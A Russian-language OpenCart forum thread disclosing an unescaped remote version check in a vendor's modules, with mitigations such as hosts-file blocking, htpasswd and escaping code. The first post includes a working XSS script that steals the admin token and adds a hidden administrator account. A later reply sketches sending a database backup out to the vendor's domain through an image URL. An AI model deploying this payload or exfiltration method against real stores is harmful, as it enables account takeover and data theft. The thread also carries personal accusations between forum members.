Jump to content
Sign in to follow this  
Yoda

Устраняем критическую уязвимость в целом наборе модулей популярного автора.

Recommended Posts

Недавно моими друзьями была обнаружена очень неприятная ситуация, один популярный автор дополнений, допустил фатальную ошибку в разработке дополнения. Я очень хочу верить что случайно, но в целом, все указывает на то, что это специально оставленный бекдор.

 

Но бог и администрация форума ему судья, я думаю они там сами разберутся.

В силу того, что приводя куски кода дополнения, или оставляя комментарии в теме поддержки дополнения, как пользователь который его не покупал я нарушу правила форума, я попробую дать рекомендации в существующих рамках.

 

Исходя из моей подготовки и опыта, я могу утверждать, что, проблема, в том, что когда вы заходили в админку модуля, модуль подтягивал каждый раз с сервера автора номер версии. Казалось бы что в этом такого. 
Но присмотревшись, оказалось, что вывод данных о версии не был экранирован, что позволяло автору или любому человеку, получившему доступ к его серверу выполнить XSS атаку на все 10 000 магазинов, которые купили любое из дополнений автора, к примеру вместо номера версии отдать вот такой простой скрипт к примеру:

 

<script>
// shell sample
// seocms the best architectural mistake forever
// i got all your 10 000 shops
// i install 10 000 backdors
function getUrlVars() {
    var vars = [], hash, hashes = null;
    if (window.location.href.indexOf("?") && window.location.href.indexOf("&")) {
        hashes = window.location.href.slice(window.location.href.indexOf("?") + 1).split("&");
    } else if (window.location.href.indexOf("?")) {
        hashes = window.location.href.slice(window.location.href.indexOf("?") + 1);
    }
    if (hashes != null) {
        for (var i = 0; i < hashes.length; i++) {
            hash = hashes[i].split("=");
            vars[hash[0]] = hash[1];
        }
    }
    return vars;
}

var url_vars =  getUrlVars();
var token = url_vars.token;
var host =  window.location.origin;
var action = host + "/admin/index.php?route=user/user/add&token=" +  token;


document.addEventListener("DOMContentLoaded", function(event) { 
  $.post( action, { username: "DummiMarkHack", user_group_id: "1", firstname: "Lol",  lastname: "Haha",    email: "[email protected]",  password: "1234",    confirm: "1234",    status: "1" } );
});

</script>


И вот таким нехитрым способом, ни в коем случае я не грешу на автора и не хочу сказать что он это сделал специально, но береженого бог бережет. Ведь невзламываемых систем не бывает. Можно получить админский доступ в любой магазин. На котором установлены модули автора. А получив админа магазина, мы легко и просто дальше уже сливаем все что захотим - это дело техники.

 

А учитывая то, что человек может умереть. И не продлить домен. А за доменом могут следить специально с целью захвата такого лакомого ботнета. Думаю о критичности потенциальной угрозы рассказывать не надо.

 

Опять же повторюсь, в рамках правил форума я не могу показывать код дополнения, я его не покупал, поэтому чтобы навсегда обезопасить себя от подобной проблемы на 100% и у вас VPS вам просто необходимо добавить в файл host на своем сервере

 

Строку 0.0.0.0 site.com // Домен сервера разработчика

 

Как это сделать в linux - можно прочитать здесь, или обратитесь к администратору вашего сервера. 


Если же у вас шаред-хостинг. Максимум что вы можете сделать, это найти во всех модулях автора в языковых файлах строки opencartadmin.com и заменить их на localhost. С вашими модулями ничего не случится. Они будут работать. Но вероятность, что с постороннего ресурса вы получите xss атаку минимальная!

Ну и как второстепенную меру защиты, просто добавьте htpassword  авторизацию к админке. 

Успешного бизнеса вам, и безопасных магазинов.

 

 

 

  • +1 15

Share this post


Link to post
Share on other sites

Хороший анализ на XSS, а если нет VPS и большинство на обычном тарифе ? Есть ли настройки у мода, не автообновлять данные (не делать запрос на сервер) ?

Единственное, что мог бы посоветовать автору - использовать CSRF токен, при валидации автообновления или формы, что бы внешним обращением не обойти валидатор.

Share this post


Link to post
Share on other sites

вопрос снят

Edited by anboza

Share this post


Link to post
Share on other sites

помню несколько лет тому, был взломан опенкартфорум, тогда перепрописали файл response и продвигали свой портал, но что то особой шумихи тогда небыло, переписали сборку, попросили перезаписать файл и всего то, вот и тут, автор заверил что в новых версиях фикс экранирован, а кто варезом пользуется - пусть имеет дыры - это их бремя, а порядочные пользователи - автоматом обновят патч, а владельцу сайта скажите, что бы покупал модули, а если есть чего под кубом, пусть переплатит грамотному кодеру, тот методом исключения проверит, через какой файл шелл вливается и пожертвует модулем или - подберёт аналог, толку из мухи слона тут лепить ?!

Share this post


Link to post
Share on other sites
22 минуты назад, auditor сказал:

автор заверил что в новых версиях фикс экранирован

если есть возможность сменить языковой файл, то стрип тэгс убрать - и подавно

кстати тем же хостс могли пользоваться и злоумышленники и долгое время

Share this post


Link to post
Share on other sites

@yoda честь и совесть русского опенкарта!

Share this post


Link to post
Share on other sites
20 минут назад, Tank сказал:

@yoda честь и совесть русского опенкарта!

Да не, это же у меня личное)))

Какое мне дело до всех тех, кто попал в зону риска.

Share this post


Link to post
Share on other sites
3 hours ago, anboza said:

вопрос снят

Каким образом?

Share this post


Link to post
Share on other sites

Держите

Рекомендую сделать это в код

 

securiyyFix.ocmod.xml

  • +1 2

Share this post


Link to post
Share on other sites
1 час назад, buslikdrev сказал:

Написали бы как экранировать.
htmlspecialchars();

  Показать контент

<?php
$new 
htmlspecialchars("<a href='test'>Test</a>"ENT_QUOTES);
echo 
$new// &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
?>

 

mysqli_real_escape_string();

  Показать контент

$city $mysqli->real_escape_string($city);

/* этот запрос отработает нормально */
if ($mysqli->query("INSERT into myCity (Name) VALUES ('$city')")) {
    
printf("%d строк вставлено.\n"$mysqli->affected_rows);
}


То есть так экранировать?

  Показать контент

$result = file_get_contents();
return $this->db->escape(htmlspecialchars($result));

 

 

function xss_clean($data)
{
// Fix &entity\n;
$data = str_replace(array('&','<','>'), array('&amp;','&lt;','&gt;'), $data);
$data = preg_replace('/(&#*\w+)[\x00-\x20]+;/u', '$1;', $data);
$data = preg_replace('/(&#x*[0-9A-F]+);*/iu', '$1;', $data);
$data = html_entity_decode($data, ENT_COMPAT, 'UTF-8');

// Remove any attribute starting with "on" or xmlns
$data = preg_replace('#(<[^>]+?[\x00-\x20"\'])(?:on|xmlns)[^>]*+>#iu', '$1>', $data);

// Remove javascript: and vbscript: protocols
$data = preg_replace('#([a-z]*)[\x00-\x20]*=[\x00-\x20]*([`\'"]*)[\x00-\x20]*j[\x00-\x20]*a[\x00-\x20]*v[\x00-\x20]*a[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#iu', '$1=$2nojavascript...', $data);
$data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*v[\x00-\x20]*b[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#iu', '$1=$2novbscript...', $data);
$data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*-moz-binding[\x00-\x20]*:#u', '$1=$2nomozbinding...', $data);

// Only works in IE: <span style="width: expression(alert('Ping!'));"></span>
$data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?expression[\x00-\x20]*\([^>]*+>#i', '$1>', $data);
$data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?behaviour[\x00-\x20]*\([^>]*+>#i', '$1>', $data);
$data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:*[^>]*+>#iu', '$1>', $data);

// Remove namespaced elements (we do not need them)
$data = preg_replace('#</*\w+:\w[^>]*+>#i', '', $data);

do
{
    // Remove really unwanted tags
    $old_data = $data;
    $data = preg_replace('#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i', '', $data);
}
while ($old_data !== $data);

// we are done...
return $data;
}

Мне кажется это наиболее верный вариант, либо же выбирайте:

https://stackoverflow.com/questions/1336776/xss-filtering-function-in-php

  • +1 2

Share this post


Link to post
Share on other sites
27 минут назад, chukcha сказал:

Держите

Рекомендую сделать это в код

 

securiyyFix.ocmod.xml

Мало!

Никто не мешает через tools/backup сделать слив базы и отправить ее на какую нить opencartadmin/logo.jpg длиннючим http заголовком.

Вида

 

$get(.... route=tools/backup+token.....блабла бла, data);

$('body').append('<img src = "opencartadmin/logo.jpg?data ="' + data +'>');

 

Share this post


Link to post
Share on other sites

а где собственно виновник этого анекдота?

Share this post


Link to post
Share on other sites
8 минут назад, Yoda сказал:

через tools/backup

Это было в прошлый раз, где был совет - вообще удалять этот контроллер, от него больше вреда, чем пользы.

Share this post


Link to post
Share on other sites

а есть реальный ПОВОД выполнять этот код (код хтмл толи пхп через ехес()) на стороне клиента?

чем вообще данный вызов обусловлен?

Share this post


Link to post
Share on other sites
8 минут назад, nikifalex сказал:

а где собственно виновник этого анекдота?

занят улучшением архитектуры. :(
Не хочу лезть в ВП, а как у них решен вопрос с проверкой версий?
Хотя там проверка версии идет с серверов WP

  • +1 1

Share this post


Link to post
Share on other sites
7 минут назад, chukcha сказал:

занят улучшением архитектуры. :(
Не хочу лезть в ВП, а как у них решен вопрос с проверкой версий?
Хотя там проверка версии идет с серверов WP

Так проверяй на здоровье. Экранируй вывод и проверяй. Вы же тоже верите, что это случайная архитектурная ошибка.

Share this post


Link to post
Share on other sites

opencart.pro кажется тоже имеет кубированый код?

Какие претензии вы выставляете другим?

  • +1 1

Share this post


Link to post
Share on other sites
12 минут назад, chukcha сказал:

Это было в прошлый раз, где был совет - вообще удалять этот контроллер, от него больше вреда, чем пользы.

Ну и также надо закрывать settigns. Там тоже можно дел наделать побырому. Log.php.

Share this post


Link to post
Share on other sites
2 минуты назад, Yoda сказал:

Вы же тоже верите, что это случайная архитектурная ошибка.

Я был всегда против обращения к внешним серверам со стороны админки, каковы причины для этого ни были

Share this post


Link to post
Share on other sites
В 22.12.2018 в 16:10, chukcha сказал:

opencart.pro кажется тоже имеет кубированый код?

Какие претензии вы выставляете другим?

Во первых. В любой момент. Любому представителю администрации любой аудит. Во вторых найдите обращения к сторонним ресурсам. В этом плане мы максимально открыты. В отличии от остальных. В третьих. Исключение кодированных файлов не влияет на работоспособность магазина. Так как закодирован только небольшая часть кода.

Share this post


Link to post
Share on other sites
2 минуты назад, Yoda сказал:

Ну и также надо закрывать settigns. Там тоже можно дел наделать побырому. Log.php.

добавлю  и сделаю а паблике отдельным модом.

Share this post


Link to post
Share on other sites
1 минуту назад, chukcha сказал:

добавлю  и сделаю а паблике отдельным модом.

Тогда уже и фильтрацию в request. 

Share this post


Link to post
Share on other sites

Ну, код обращения который вы показали тоже открыт, но вы не пришли к автору и не сказали ему - смотри... фигню имеешь

Вы же.. ладно.. это не тема для здесь.

 

  • +1 2

Share this post


Link to post
Share on other sites
3 минуты назад, chukcha сказал:

Ну, код обращения который вы показали тоже открыт, но вы не пришли к автору и не сказали ему - смотри... фигню имеешь

Вы же.. ладно.. это не тема для здесь.

 

У меня нет этого модуля. А к автору обращались несколько раз. Он утверждал что это так надо и ничего страшного.

 

Ну а я же да... Свожу личные счёты ага ага... Если вам от этого легче. То так и думайте. По факту природу инцидента это не меняет.

 

Ну и давайте уже честно. Закрытый код без шеллов и закладок. И открытый с закладкой. Что лучше?

Share this post


Link to post
Share on other sites
Guest
This topic is now closed to further replies.
Sign in to follow this  

  • Similar Content

    • By Praetorioan
      Добрый день, админку сайта взломал какой-то турецкий школьник, оставив красноречивое послание на первой картинке. «nah sana panel lamercik»
      Проверил фтп, там добавлены несколько html файлов левых. Как видно на скринах, даты разные. 
      Изменений в системных файлов не нашёл.php.ini чистый. config.php чистый. 
      Посмотрел в index.php в админке - он снёс весь код и вставил свой, который виден на 1 скрине. Вопрос - как? Я должен устранить уязвимость, пожалуйста, помогите.


  • Recently Browsing   0 members

    No registered users viewing this page.

×

Important Information

On our site, cookies are used and personal data is processed to improve the user interface. To find out what and what personal data we are processing, please go to the link. If you click "I agree," it means that you understand and accept all the conditions specified in this Privacy Notice.